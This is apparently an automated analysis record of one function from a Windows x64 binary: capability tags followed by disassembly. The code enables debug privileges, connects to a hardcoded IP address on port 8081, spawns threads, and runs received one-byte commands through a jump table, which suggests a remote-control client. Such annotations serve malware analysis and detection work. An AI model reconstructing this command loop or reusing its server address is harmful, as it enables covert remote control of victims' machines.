Function at 0x14004ba70
Capabilities:
Acquire debug privileges
Connect socket
Convert ip address from string
Create thread
Get socket status
Initialize winsock library
Receive data
Receive data on socket
Terminate process

Disassembly:
push rbp
push rsi
push rdi
lea rbp, [rsp - 0x330]
sub rsp, 0x430
mov rax, qword [0x140157900]
xor rax, rsp
mov qword [rbp + 0x320], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x30]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
xor edi, edi
mov esi, 2
test eax, eax
je 0x14004bb13
lea r8, [rsp + 0x40]
xor ecx, ecx
lea rdx, str.SeDebugPrivilege
call qword [sym.imp.ADVAPI32.dll_LookupPrivilegeValueA]
mov rcx, qword [rsp + 0x30]
test eax, eax
je 0x14004bb0d
mov rax, qword [rsp + 0x40]
lea r8, [rsp + 0x50]
mov qword [rsp + 0x28], rdi
mov r9d, reloc.WS2_32.dll_recv
xor edx, edx
mov qword [rsp + 0x54], rax
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x5c], esi
mov qword [rsp + 0x20], rdi
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, 0x202
mov qword [rsp + 0x450], rbx
lea rdx, [rbp + 0x180]
call qword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x14004bba8
xorps xmm0, xmm0
mov ecx, 0x1f91
movups xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x40], si
call qword [sym.imp.WS2_32.dll_htons]
lea r8, [rsp + 0x44]
mov ecx, esi
lea rdx, str.139.162.131.75
mov word [rsp + 0x42], ax
call qword [sym.imp.WS2_32.dll_inet_pton]
xor r8d, r8d
mov edx, 1
mov ecx, esi
call qword [sym.imp.WS2_32.dll_socket]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x14004bb9d
mov r8d, reloc.WS2_32.dll_recv
lea rdx, [rsp + 0x40]
mov rcx, rax
call qword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x14004bbb2
mov rcx, rbx
call qword [sym.imp.WS2_32.dll_closesocket]
mov qword [0x1401579a8], 0xffffffffffffffff
mov eax, 0xffffffff
jmp 0x14004be17
mov ecx, 8
mov qword [0x1401579a8], rbx
call fcn.1400bc5a4
lea rcx, [0x14004c260]
mov r9, rax
lea r8, [0x14004bfa0]
xor edx, edx
mov qword [rax], rcx
lea rcx, [rsp + 0x68]
mov qword [rsp + 0x28], rcx
xor ecx, ecx
mov dword [rsp + 0x20], edi
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x60], rax
test rax, rax
je 0x14004be61
mov ecx, 1
call fcn.1400bc5a4
lea rcx, [rsp + 0x48]
mov r9, rax
mov qword [rsp + 0x28], rcx
lea r8, [0x14004bfd0]
xor ecx, ecx
mov dword [rsp + 0x20], edi
xor edx, edx
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__beginthreadex]
mov qword [rsp + 0x40], rax
test rax, rax
je 0x14004be51
cmp dword [rsp + 0x48], edi
je 0x14004be45
movaps xmm0, xmmword [rsp + 0x40]
lea rcx, [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004be45
cmp dword [rsp + 0x68], edi
je 0x14004be39
movaps xmm0, xmmword [rsp + 0x60]
lea rcx, [rsp + 0x50]
movdqa xmmword [rsp + 0x50], xmm0
call qword [sym.imp.MSVCP140.dll__Thrd_detach]
test eax, eax
jne 0x14004be39
cmp byte [0x140158a19], dil
xorps xmm0, xmm0
mov qword [rsp + 0x458], r14
movdqa xmmword [rsp + 0x60], xmm0
mov qword [rsp + 0x460], r15
jne 0x14004bdec
lea r14, reloc.WS2_32.dll_recv
lea r15, [0x140159a58]
lea rbx, [0x140000000]
mov rax, qword [0x1401579a8]
lea rdx, [rsp + 0x70]
mov qword [rsp + 0x78], rax
xor r9d, r9d
lea rax, [rsp + 0x30]
mov dword [rsp + 0x70], 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
xor ecx, ecx
mov qword [rsp + 0x30], 1
call qword [sym.imp.WS2_32.dll_select]
inc eax
cmp eax, 1
jbe 0x14004bddf
mov rcx, qword [0x1401579a8]
lea rdx, [rsp + 0x70]
call qword [sym.imp.WS2_32.dll___WSAFDIsSet]
test eax, eax
je 0x14004bddf
xor edx, edx
lea rcx, [0x140158a50]
mov r8d, 0x1008
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [0x1401579a8]
lea rdx, [0x140158a50]
xor r9d, r9d
mov qword [rsp + 0x28], r14
mov r8d, 0x1008
mov qword [rsp + 0x20], r15
call qword [sym.imp.WS2_32.dll_recvfrom]
test eax, eax
js 0x14004bddf
mov rax, qword [0x140158a58]
cmp rax, qword [0x1401579a0]
je 0x14004bddf
test rax, rax
je 0x14004bddf
movzx eax, byte [0x140158a50]
dec eax
cmp eax, 0xfe
ja case.0x14004bd99.7
cdqe
movzx eax, byte [rbx + rax + 0x4be94]
mov ecx, dword [rbx + rax*4 + 0x4be74]
add rcx, rbx
jmp rcx
mov ecx, 0x3e8
mov dword [reloc.WS2_32.dll_accept], 1
call qword [sym.imp.KERNEL32.dll_Sleep]
call fcn.140052620
jmp 0x14004bddf
mov dword [reloc.WS2_32.dll_accept], edi
jmp 0x14004bddf
call fcn.140052830
jmp 0x14004bddf
mov dword [reloc.WS2_32.dll_accept], esi
jmp 0x14004bddf
call fcn.1400530e0
jmp 0x14004bddf
mov dword [reloc.WS2_32.dll_accept], 3
cmp byte [0x140158a19], dil
je 0x14004bcc2
cmp dword [rsp + 0x68], edi
je 0x14004be02
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_terminate]
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
mov r14, qword [rsp + 0x458]
mov eax, 0xffffffff
mov r15, qword [rsp + 0x460]
mov rbx, qword [rsp + 0x450]
mov rcx, qword [rbp + 0x320]
xor rcx, rsp
call fcn.1400bc4a0
add rsp, 0x430
pop rdi
pop rsi
pop rbp
ret
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 1
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x48], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3
mov ecx, 6
mov dword [rsp + 0x68], edi
call qword [sym.imp.MSVCP140.dll_void___cdecl_std::_Throw_Cpp_error_int_]
int3